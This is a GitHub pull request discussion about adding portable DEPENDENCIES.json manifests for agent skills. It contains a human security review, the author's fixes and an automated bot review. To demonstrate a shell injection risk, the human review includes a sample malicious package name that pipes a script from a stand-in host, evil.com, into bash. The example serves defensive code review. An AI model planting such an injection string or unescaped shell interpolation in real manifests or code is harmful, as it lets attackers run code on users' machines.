feat: make skills dependency metadata portable#84
feat: make skills dependency metadata portable#84Sun-sunshine06 wants to merge 2 commits intoOpenCoworkAI:mainfrom
Conversation
hqhq1025
left a comment
There was a problem hiding this comment.
🚨 Request Changes — Security vulnerability + path resolution bug
The DEPENDENCIES.json architecture is sound, but the implementation has critical issues that must be fixed before merging.
🚨 P0: Shell injection via untrusted package names
Files: src/main/sandbox/wsl-bridge.ts, src/main/sandbox/lima-bridge.ts
Package names from DEPENDENCIES.json are interpolated directly into bash -c shell commands:
const packagesStr = missingPackages.map((pkg) => `"${pkg}"`).join(' ');
// → bash -c "python3 -m pip install --user ${packagesStr}"A malicious .skills/evil/DEPENDENCIES.json in a project could contain:
{ "pythonPackages": ["foo\"; curl evil.com/payload | bash; #"] }Note: escapeForDoubleQuotes() already exists in wsl-bridge.ts line 41 but is not used here.
Fix options:
- Validate package names:
/^[a-zA-Z0-9._\-\[\]<>=!,]+$/ - Apply
escapeForDoubleQuotes()to each package name - Both (recommended)
🚨 P0: Duplicated getBuiltinSkillsPath with wrong priority
skill-dependencies.ts creates its own getBuiltinSkillsPath() with different path ordering than agent-runner.ts:
| Priority | agent-runner.ts | skill-dependencies.ts |
|---|---|---|
| 2 | resourcesPath/skills ✅ |
asar.unpacked/.claude/skills ❌ |
| 4 | appPath/.claude/skills |
resourcesPath/skills |
In production, these resolve to different directories. Dependency pre-install reads different manifests than the skills actually loaded by the agent.
Fix: Import from a shared utility or delegate to agent-runner's implementation.
P1: Overly broad skills/ directory scanning
Many projects have unrelated skills/ directories (Alexa skills, game skill trees, etc.). The bare skills/ candidate should be removed or require a sentinel file.
P1: Symlink following without containment check
fs.statSync follows symlinks in project .skills/ without verifying the target stays within the project root. The project already has isPathWithinRoot in path-containment.ts.
P2: Other issues
EMPTY_SUMMARYuses shared mutable arrays (shallow spread). UseObject.freezeor return fresh arrays.- WSL/Lima pip install blocks are 22 lines of near-identical code — extract a helper
兼容性hardcoded as ChinesedefaultValueinSettingsSkills.tsxzh.jsonmissingcompatibilityLabeltranslation- In-memory pip install cache doesn't handle partial failures
- Test gaps: no coverage for shell injection, symlink traversal, caching edge cases
|
Addressed the review feedback in d66c3dc. Summary:
Validation run locally:
|
There was a problem hiding this comment.
Review mode: initial
Findings
- [Major] Legacy
project/skills/loading was removed, so existing workspaces that still keep project skills underskills/will silently stop loading them after this PR. Evidencesrc/main/skills/skill-paths.ts:48,src/main/skills/skills-manager.ts:526,tests/skills-manager-project-loading.test.ts:67.
Suggested fix:const candidates = [ path.join(resolvedProjectRoot, '.skills'), path.join(resolvedProjectRoot, 'skills'), ]; return candidates.filter((candidate) => { if (!fs.existsSync(candidate) || !fs.statSync(candidate).isDirectory()) return false; const realCandidate = fs.realpathSync(candidate); return isPathWithinRoot( realCandidate, resolvedProjectRoot, shouldUseCaseInsensitiveContainment(resolvedProjectRoot) ); });
- [Minor] The new Python-side skill validator does not enforce the same
DEPENDENCIES.jsonrules as the app validator, so it can report invalid manifests as valid. In particular,dependency_lists += 1counts empty arrays as valid declarations, while the runtime validator rejects manifests with no populated dependency lists (src/main/skills/skill-dependencies.ts:133). Evidence.claude/skills/skill-creator/scripts/quick_validate.py:129.
Suggested fix:has_entries = False for key in sorted(allowed_dependency_keys - {'schemaVersion'}): value = dependencies.get(key) if value is None: continue if not isinstance(value, list): return False, f'DEPENDENCIES.json field "{key}" must be a list of strings' for item in value: if not isinstance(item, str) or not item.strip(): return False, f'DEPENDENCIES.json field "{key}" must contain non-empty strings only' has_entries = True if not has_entries: return False, "DEPENDENCIES.json must declare at least one dependency list"
Summary
- 2 findings. The main regression is the silent compatibility break for existing
project/skills/workspaces. CLAUDE.md: Not found in repo/docs.
Testing
- Not run (automation)
Open Cowork Bot
| } | ||
|
|
||
| const resolvedProjectRoot = path.resolve(projectRoot); | ||
| const candidate = path.join(resolvedProjectRoot, '.skills'); |
There was a problem hiding this comment.
[MAJOR] This narrows project skill discovery to .skills only, which drops the legacy project/skills/ directory that loadProjectSkills() previously loaded. Existing workspaces with skills/ will silently lose their project skills after upgrading, and the new test now codifies that regression by expecting ignored-bare-skill to be skipped (tests/skills-manager-project-loading.test.ts:67).
Suggested fix:
const candidates = [
path.join(resolvedProjectRoot, '.skills'),
path.join(resolvedProjectRoot, 'skills'),
];
return candidates.filter((candidate) => {
if (!fs.existsSync(candidate) || !fs.statSync(candidate).isDirectory()) return false;
const realCandidate = fs.realpathSync(candidate);
return isPathWithinRoot(
realCandidate,
resolvedProjectRoot,
shouldUseCaseInsensitiveContainment(resolvedProjectRoot)
);
});| if schema_version is not None and schema_version != 1: | ||
| return False, "DEPENDENCIES.json schemaVersion must be 1 when present" | ||
|
|
||
| dependency_lists = 0 |
There was a problem hiding this comment.
[MINOR] The new DEPENDENCIES.json check diverges from the app validator here: dependency_lists += 1 treats an empty list like a valid dependency declaration, so quick_validate.py will accept {"pythonPackages": []} even though the runtime validator rejects it (src/main/skills/skill-dependencies.ts:133). That makes the skill-creator happy path report success for manifests the app later refuses to install.
Suggested fix:
has_entries = False
for key in sorted(allowed_dependency_keys - {'schemaVersion'}):
value = dependencies.get(key)
if value is None:
continue
if not isinstance(value, list):
return False, f'DEPENDENCIES.json field "{key}" must be a list of strings'
for item in value:
if not isinstance(item, str) or not item.strip():
return False, f'DEPENDENCIES.json field "{key}" must contain non-empty strings only'
has_entries = True
if not has_entries:
return False, "DEPENDENCIES.json must declare at least one dependency list"
Summary\n- add machine-readable DEPENDENCIES.json manifests and compatibility metadata for built-in skills\n- validate dependency manifests, surface compatibility in settings, and pre-install required Python packages for active skills in WSL/Lima sandboxes\n- update skill-creator scaffolding/validation so new skills default toward portable, machine-readable runtime requirements\n\n## Testing\n-
px tsc --noEmit\n-
px vitest run tests/skills-manager-compatibility.test.ts tests/builtin-skill-portability.test.ts tests/skill-dependencies.test.ts\n-
px eslint src/main/skills/skill-dependencies.ts src/main/skills/skills-manager.ts src/main/sandbox/wsl-bridge.ts src/main/sandbox/lima-bridge.ts src/main/sandbox/sandbox-bootstrap.ts src/main/claude/agent-runner.ts src/renderer/utils/sandbox-i18n.ts src/renderer/types/index.ts tests/skills-manager-compatibility.test.ts tests/builtin-skill-portability.test.ts tests/skill-dependencies.test.ts\n- python -m py_compile .claude/skills/skill-creator/scripts/quick_validate.py .claude/skills/skill-creator/scripts/init_skill.py\n\n## Notes\n- keeps user-local credential encryption changes out of this PR\n- project-level .skills/ are now included in sandbox dependency collection, and linked skill directories are followed when aggregating manifests